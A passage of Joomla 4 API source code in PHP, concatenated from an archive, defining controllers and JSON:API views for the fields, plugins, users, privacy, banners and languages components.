namespace Joomla\Component\Fields\Api\View\Groups;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
/**
* The groups view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'typeAlias',
'id',
'asset_id',
'context',
'title',
'note',
'description',
'state',
'checked_out',
'checked_out_time',
'ordering',
'params',
'language',
'created',
'created_by',
'modified',
'modified_by',
'access',
'type',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'title',
'name',
'checked_out',
'checked_out_time',
'note',
'state',
'access',
'created_time',
'created_user_id',
'ordering',
'language',
'fieldparams',
'params',
'type',
'default_value',
'context',
'group_id',
'label',
'description',
'required',
'language_title',
'language_image',
'editor',
'access_level',
'author_name',
'group_title',
'group_access',
'group_state',
'group_note',
];
/**
* Execute and display a template script.
*
* @param object $item Item
*
* @return string
*
* @since 4.0.0
*/
public function displayItem($item = null)
{
if ($item === null)
{
/** @var \Joomla\CMS\MVC\Model\AdminModel $model */
$model = $this->getModel();
$item = $this->prepareItem($model->getItem());
}
if ($item->id === null)
{
throw new RouteNotFoundException('Item does not exist');
}
if ($item->context != $this->getModel()->getState('filter.context'))
{
throw new RouteNotFoundException('Item does not exist');
}
return parent::displayItem($item);
}
}
components/com_fields/src/Controller/FieldsController.php 0000604 00000003163 15074673664 0017753 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_fields
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Fields\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The fields controller
*
* @since 4.0.0
*/
class FieldsController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'fields';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'fields';
/**
* Basic display of an item view
*
* @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayItem($id = null)
{
$this->modelState->set('filter.context', $this->getContextFromInput());
return parent::displayItem($id);
}
/**
* Basic display of a list view
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$this->modelState->set('filter.context', $this->getContextFromInput());
return parent::displayList();
}
/**
* Get extension from input
*
* @return string
*
* @since 4.0.0
*/
private function getContextFromInput()
{
return $this->input->exists('context') ?
$this->input->get('context') : $this->input->post->get('context');
}
}
components/com_fields/src/Controller/GroupsController.php 0000604 00000003163 15074673664 0020024 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_fields
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Fields\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The groups controller
*
* @since 4.0.0
*/
class GroupsController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'groups';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'groups';
/**
* Basic display of an item view
*
* @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayItem($id = null)
{
$this->modelState->set('filter.context', $this->getContextFromInput());
return parent::displayItem($id);
}
/**
* Basic display of a list view
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$this->modelState->set('filter.context', $this->getContextFromInput());
return parent::displayList();
}
/**
* Get extension from input
*
* @return string
*
* @since 4.0.0
*/
private function getContextFromInput()
{
return $this->input->exists('context') ?
$this->input->get('context') : $this->input->post->get('context');
}
}
components/com_plugins/src/View/Plugins/JsonapiView.php 0000604 00000002460 15074673664 0017361 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_plugins
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Plugins\Api\View\Plugins;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
/**
* The plugins view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'name',
'type',
'element',
'changelogurl',
'folder',
'client_id',
'enabled',
'access',
'protected',
'checked_out',
'checked_out_time',
'ordering',
'state',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'name',
'element',
'folder',
'checked_out',
'checked_out_time',
'enabled',
'access',
'ordering',
'editor',
'access_level',
];
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
$item->id = $item->extension_id;
unset($item->extension_id);
return $item;
}
}
components/com_plugins/src/Controller/PluginsController.php 0000604 00000005764 15074673664 0020412 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_plugins
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Plugins\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\CMS\MVC\Controller\Exception;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\String\Inflector;
use Tobscure\JsonApi\Exception\InvalidParameterException;
/**
* The plugins controller
*
* @since 4.0.0
*/
class PluginsController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'plugins';
/**
* The default view for the display method.
*
* @var string
*
* @since 3.0
*/
protected $default_view = 'plugins';
/**
* Method to edit an existing record.
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function edit()
{
$recordId = $this->input->getInt('id');
if (!$recordId)
{
throw new Exception\ResourceNotFound(Text::_('JLIB_APPLICATION_ERROR_RECORD'), 404);
}
$data = json_decode($this->input->json->getRaw(), true);
foreach ($data as $key => $value)
{
if (!in_array($key, ['enabled', 'access', 'ordering']))
{
throw new InvalidParameterException("Invalid parameter {$key}.", 400);
}
}
/** @var \Joomla\Component\Plugins\Administrator\Model\PluginModel $model */
$model = $this->getModel(Inflector::singularize($this->contentType), '', ['ignore_request' => true]);
if (!$model)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
}
$item = $model->getItem($recordId);
if (!isset($item->extension_id))
{
throw new RouteNotFoundException('Item does not exist');
}
$data['folder'] = $item->folder;
$data['element'] = $item->element;
$this->input->set('data', $data);
return parent::edit();
}
/**
* Plugin list view with filtering of data
*
* @return static A BaseController object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$apiFilterInfo = $this->input->get('filter', [], 'array');
$filter = InputFilter::getInstance();
if (array_key_exists('element', $apiFilterInfo))
{
$this->modelState->set('filter.element', $filter->clean($apiFilterInfo['element'], 'STRING'));
}
if (array_key_exists('status', $apiFilterInfo))
{
$this->modelState->set('filter.enabled', $filter->clean($apiFilterInfo['status'], 'INT'));
}
if (array_key_exists('search', $apiFilterInfo))
{
$this->modelState->set('filter.search', $filter->clean($apiFilterInfo['search'], 'STRING'));
}
if (array_key_exists('type', $apiFilterInfo))
{
$this->modelState->set('filter.folder', $filter->clean($apiFilterInfo['type'], 'STRING'));
}
return parent::displayList();
}
}
components/com_users/src/Controller/UsersController.php 0000604 00000012237 15074673664 0017543 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_users
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Users\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Date\Date;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
use Tobscure\JsonApi\Exception\InvalidParameterException;
/**
* The users controller
*
* @since 4.0.0
*/
class UsersController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'users';
/**
* The default view for the display method.
*
* @var string
* @since 4.0.0
*/
protected $default_view = 'users';
/**
* Method to allow extended classes to manipulate the data to be saved for an extension.
*
* @param array $data An array of input data.
*
* @return array
*
* @since 4.0.0
*/
protected function preprocessSaveData(array $data): array
{
foreach (FieldsHelper::getFields('com_users.user') as $field)
{
if (isset($data[$field->name]))
{
!isset($data['com_fields']) && $data['com_fields'] = [];
$data['com_fields'][$field->name] = $data[$field->name];
unset($data[$field->name]);
}
}
return $data;
}
/**
* User list view with filtering of data
*
* @return static A BaseController object to support chaining.
*
* @since 4.0.0
* @throws InvalidParameterException
*/
public function displayList()
{
$apiFilterInfo = $this->input->get('filter', [], 'array');
$filter = InputFilter::getInstance();
if (array_key_exists('state', $apiFilterInfo))
{
$this->modelState->set('filter.state', $filter->clean($apiFilterInfo['state'], 'INT'));
}
if (array_key_exists('active', $apiFilterInfo))
{
$this->modelState->set('filter.active', $filter->clean($apiFilterInfo['active'], 'INT'));
}
if (array_key_exists('groupid', $apiFilterInfo))
{
$this->modelState->set('filter.group_id', $filter->clean($apiFilterInfo['groupid'], 'INT'));
}
if (array_key_exists('search', $apiFilterInfo))
{
$this->modelState->set('filter.search', $filter->clean($apiFilterInfo['search'], 'STRING'));
}
if (array_key_exists('registrationDateStart', $apiFilterInfo))
{
$registrationStartInput = $filter->clean($apiFilterInfo['registrationDateStart'], 'STRING');
$registrationStartDate = Date::createFromFormat(\DateTimeInterface::RFC3339, $registrationStartInput);
if (!$registrationStartDate)
{
// Send the error response
$error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'registrationDateStart');
throw new InvalidParameterException($error, 400, null, 'registrationDateStart');
}
$this->modelState->set('filter.registrationDateStart', $registrationStartDate);
}
if (array_key_exists('registrationDateEnd', $apiFilterInfo))
{
$registrationEndInput = $filter->clean($apiFilterInfo['registrationDateEnd'], 'STRING');
$registrationEndDate = Date::createFromFormat(\DateTimeInterface::RFC3339, $registrationEndInput);
if (!$registrationEndDate)
{
// Send the error response
$error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'registrationDateEnd');
throw new InvalidParameterException($error, 400, null, 'registrationDateEnd');
}
$this->modelState->set('filter.registrationDateEnd', $registrationEndDate);
}
elseif (array_key_exists('registrationDateStart', $apiFilterInfo)
&& !array_key_exists('registrationDateEnd', $apiFilterInfo))
{
// If no end date specified the end date is now
$this->modelState->set('filter.registrationDateEnd', new Date);
}
if (array_key_exists('lastVisitDateStart', $apiFilterInfo))
{
$lastVisitStartInput = $filter->clean($apiFilterInfo['lastVisitDateStart'], 'STRING');
$lastVisitStartDate = Date::createFromFormat(\DateTimeInterface::RFC3339, $lastVisitStartInput);
if (!$lastVisitStartDate)
{
// Send the error response
$error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'lastVisitDateStart');
throw new InvalidParameterException($error, 400, null, 'lastVisitDateStart');
}
$this->modelState->set('filter.lastVisitStart', $lastVisitStartDate);
}
if (array_key_exists('lastVisitDateEnd', $apiFilterInfo))
{
$lastVisitEndInput = $filter->clean($apiFilterInfo['lastVisitDateEnd'], 'STRING');
$lastVisitEndDate = Date::createFromFormat(\DateTimeInterface::RFC3339, $lastVisitEndInput);
if (!$lastVisitEndDate)
{
// Send the error response
$error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'lastVisitDateEnd');
throw new InvalidParameterException($error, 400, null, 'lastVisitDateEnd');
}
$this->modelState->set('filter.lastVisitEnd', $lastVisitEndDate);
}
elseif (array_key_exists('lastVisitDateStart', $apiFilterInfo)
&& !array_key_exists('lastVisitDateEnd', $apiFilterInfo))
{
// If no end date specified the end date is now
$this->modelState->set('filter.lastVisitEnd', new Date);
}
return parent::displayList();
}
}
components/com_users/src/View/Users/JsonapiView.php 0000604 00000004464 15074673664 0016527 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_users
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Users\Api\View\Users;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
/**
* The users view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'groups',
'name',
'username',
'email',
'registerDate',
'lastvisitDate',
'lastResetTime',
'resetCount',
'sendEmail',
'block',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'name',
'username',
'email',
'group_count',
'group_names',
'registerDate',
'lastvisitDate',
'lastResetTime',
'resetCount',
'sendEmail',
'block',
];
/**
* Execute and display a template script.
*
* @param array|null $items Array of items
*
* @return string
*
* @since 4.0.0
*/
public function displayList(array $items = null)
{
foreach (FieldsHelper::getFields('com_users.user') as $field)
{
$this->fieldsToRenderList[] = $field->name;
}
return parent::displayList();
}
/**
* Execute and display a template script.
*
* @param object $item Item
*
* @return string
*
* @since 4.0.0
*/
public function displayItem($item = null)
{
foreach (FieldsHelper::getFields('com_users.user') as $field)
{
$this->fieldsToRenderItem[] = $field->name;
}
return parent::displayItem();
}
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
if (empty($item->username))
{
throw new RouteNotFoundException('Item does not exist');
}
foreach (FieldsHelper::getFields('com_users.user', $item, true) as $field)
{
$item->{$field->name} = isset($field->apivalue) ? $field->apivalue : $field->rawvalue;
}
return parent::prepareItem($item);
}
}
components/com_privacy/src/Controller/ConsentsController.php 0000604 00000002236 15074673664 0020550 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_privacy
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Privacy\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The consents controller
*
* @since 4.0.0
*/
class ConsentsController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'consents';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'consents';
/**
* Basic display of an item view
*
* @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayItem($id = null)
{
if ($id === null)
{
$id = $this->input->get('id', 0, 'int');
}
$this->input->set('model', $this->contentType);
return parent::displayItem($id);
}
}
components/com_privacy/src/Controller/RequestsController.php 0000604 00000003660 15074673664 0020571 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_privacy
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Privacy\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Privacy\Api\View\Requests\JsonapiView;
/**
* The requests controller
*
* @since 4.0.0
*/
class RequestsController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'requests';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'requests';
/**
* Export request data
*
* @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function export($id = null)
{
if ($id === null)
{
$id = $this->input->get('id', 0, 'int');
}
$viewType = $this->app->getDocument()->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
try
{
/** @var JsonapiView $view */
$view = $this->getView(
$viewName,
$viewType,
'',
['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
);
}
catch (\Exception $e)
{
throw new \RuntimeException($e->getMessage());
}
$model = $this->getModel('export');
try
{
$modelName = $model->getName();
}
catch (\Exception $e)
{
throw new \RuntimeException($e->getMessage());
}
$model->setState($modelName . '.request_id', $id);
$view->setModel($model, true);
$view->document = $this->app->getDocument();
$view->export();
return $this;
}
}
components/com_privacy/src/View/Requests/JsonapiView.php 0000604 00000003152 15074673664 0017546 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_privacy
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Privacy\Api\View\Requests;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Privacy\Administrator\Model\ExportModel;
use Tobscure\JsonApi\Resource;
/**
* The requests view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = ['id', 'typeAlias', 'email', 'requested_at', 'status', 'request_type'];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = ['id', 'email', 'requested_at', 'status', 'request_type'];
/**
* Execute and display a template script.
*
* @return string
*
* @since 4.0.0
*/
public function export()
{
/** @var ExportModel $model */
$model = $this->getModel();
$exportData = $model->collectDataForExportRequest();
if ($exportData == false)
{
throw new RouteNotFoundException('Item does not exist');
}
$serializer = new JoomlaSerializer('export');
$element = (new Resource($exportData, $serializer));
$this->document->setData($element);
$this->document->addLink('self', Uri::current());
return $this->document->render();
}
}
components/com_privacy/src/View/Consents/JsonapiView.php 0000604 00000004626 15074673664 0017536 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_privacy
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Privacy\Api\View\Consents;
\defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Resource;
/**
* The consents view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'user_id',
'state',
'created',
'subject',
'body',
'remind',
'token',
'username',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'user_id',
'state',
'created',
'subject',
'body',
'remind',
'token',
'username',
];
/**
* Execute and display a template script.
*
* @param object $item Item
*
* @return string
*
* @since 4.0.0
*/
public function displayItem($item = null)
{
$id = $this->get('state')->get($this->getName() . '.id');
if ($id === null)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_ITEMID_MISSING'));
}
/** @var \Joomla\CMS\MVC\Model\ListModel $model */
$model = $this->getModel();
$displayItem = null;
foreach ($model->getItems() as $item)
{
$item = $this->prepareItem($item);
if ($item->id === $id)
{
$displayItem = $item;
break;
}
}
if ($displayItem === null)
{
throw new RouteNotFoundException('Item does not exist');
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new GenericDataException(implode("\n", $errors), 500);
}
if ($this->type === null)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_CONTENT_TYPE_MISSING'));
}
$serializer = new JoomlaSerializer($this->type);
$element = (new Resource($displayItem, $serializer))
->fields([$this->type => $this->fieldsToRenderItem]);
$this->document->setData($element);
$this->document->addLink('self', Uri::current());
return $this->document->render();
}
}
components/com_banners/src/Controller/ClientsController.php 0000604 00000001311 15074673664 0020321 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_banners
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Banners\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The clients controller
*
* @since 4.0.0
*/
class ClientsController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'clients';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'clients';
}
components/com_banners/src/Controller/BannersController.php 0000604 00000001311 15074673664 0020310 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_banners
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Banners\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The banners controller
*
* @since 4.0.0
*/
class BannersController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'banners';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'banners';
}
components/com_banners/src/View/Clients/JsonapiView.php 0000604 00000002256 15074673664 0017313 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_banners
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Banners\Api\View\Clients;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
/**
* The clients view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'typeAlias',
'id',
'checked_out_time',
'name',
'contact',
'email',
'checked_out',
'checked_out_time',
'extrainfo',
'state',
'metakey',
'own_prefix',
'metakey_prefix',
'purchase_type',
'track_clicks',
'track_impressions',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'name',
'contact',
'checked_out',
'checked_out_time',
'state',
'metakey',
'purchase_type',
'nbanners',
'editor',
'count_published',
'count_unpublished',
'count_trashed',
'count_archived',
];
}
components/com_banners/src/View/Banners/JsonapiView.php 0000604 00000003074 15074673664 0017301 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_banners
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Banners\Api\View\Banners;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
/**
* The banners view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'typeAlias',
'id',
'cid',
'type',
'name',
'alias',
'imptotal',
'impmade',
'clicks',
'clickurl',
'state',
'catid',
'description',
'custombannercode',
'sticky',
'ordering',
'metakey',
'params',
'own_prefix',
'metakey_prefix',
'purchase_type',
'track_clicks',
'track_impressions',
'checked_out',
'checked_out_time',
'publish_up',
'publish_down',
'reset',
'created',
'language',
'created_by',
'created_by_alias',
'modified',
'modified_by',
'version',
'contenthistoryHelper',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'name',
'alias',
'checked_out',
'checked_out_time',
'catid',
'clicks',
'metakey',
'sticky',
'impmade',
'imptotal',
'state',
'ordering',
'purchase_type',
'language',
'publish_up',
'publish_down',
'language_image',
'editor',
'category_title',
'client_name',
'client_purchase_type',
];
}
components/com_languages/src/Controller/StringsController.php 0000604 00000006145 15074673664 0020701 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_languages
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Languages\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Tobscure\JsonApi\Exception\InvalidParameterException;
/**
* The strings controller
*
* @since 4.0.0
*/
class StringsController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'strings';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'strings';
/**
* Search by languages constants
*
* @return static A \JControllerLegacy object to support chaining.
*
* @throws InvalidParameterException
* @since 4.0.0
*/
public function search()
{
$data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');
if (!isset($data['searchstring']) || !is_string($data['searchstring']))
{
throw new InvalidParameterException("Invalid param 'searchstring'");
}
if (!isset($data['searchtype']) || !in_array($data['searchtype'], ['constant', 'value']))
{
throw new InvalidParameterException("Invalid param 'searchtype'");
}
$app = Factory::getApplication();
$app->input->set('searchstring', $data['searchstring']);
$app->input->set('searchtype', $data['searchtype']);
$app->input->set('more', 0);
$viewType = $this->app->getDocument()->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
try
{
/** @var \Joomla\Component\Languages\Api\View\Strings\JsonapiView $view */
$view = $this->getView(
$viewName,
$viewType,
'',
['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
);
}
catch (\Exception $e)
{
throw new \RuntimeException($e->getMessage());
}
/** @var \Joomla\Component\Languages\Administrator\Model\StringsModel $model */
$model = $this->getModel($this->contentType, '', ['ignore_request' => true]);
if (!$model)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
}
// Push the model into the view (as default)
$view->setModel($model, true);
$view->document = $this->app->getDocument();
$view->displayList();
return $this;
}
/**
* Refresh cache
*
* @return static A \JControllerLegacy object to support chaining.
*
* @throws \Exception
* @since 4.0.0
*/
public function refresh()
{
/** @var \Joomla\Component\Languages\Administrator\Model\StringsModel $model */
$model = $this->getModel($this->contentType, '', ['ignore_request' => true]);
if (!$model)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
}
$result = $model->refresh();
if ($result instanceof \Exception)
{
throw $result;
}
return $this;
}
}
components/com_languages/src/Controller/LanguagesController.php 0000604 00000001325 15074673664 0021151 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_languages
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Languages\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The languages controller
*
* @since 4.0.0
*/
class LanguagesController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'languages';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'languages';
}
components/com_languages/src/Controller/OverridesController.php 0000604 00000010576 15074673664 0021215 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_languages
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Languages\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\CMS\MVC\Controller\Exception;
use Joomla\String\Inflector;
use Tobscure\JsonApi\Exception\InvalidParameterException;
/**
* The overrides controller
*
* @since 4.0.0
*/
class OverridesController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'overrides';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'overrides';
/**
* Basic display of an item view
*
* @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayItem($id = null)
{
$this->modelState->set('filter.language', $this->getLanguageFromInput());
$this->modelState->set('filter.client', $this->getClientFromInput());
return parent::displayItem($id);
}
/**
* Basic display of a list view
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$this->modelState->set('filter.language', $this->getLanguageFromInput());
$this->modelState->set('filter.client', $this->getClientFromInput());
return parent::displayList();
}
/**
* Method to save a record.
*
* @param integer $recordKey The primary key of the item (if exists)
*
* @return integer The record ID on success, false on failure
*
* @since 4.0.0
*/
protected function save($recordKey = null)
{
/** @var \Joomla\CMS\MVC\Model\AdminModel $model */
$model = $this->getModel(Inflector::singularize($this->contentType));
$model->setState('filter.language', $this->input->post->get('lang_code'));
$model->setState('filter.client', $this->input->post->get('app'));
if (!$model)
{
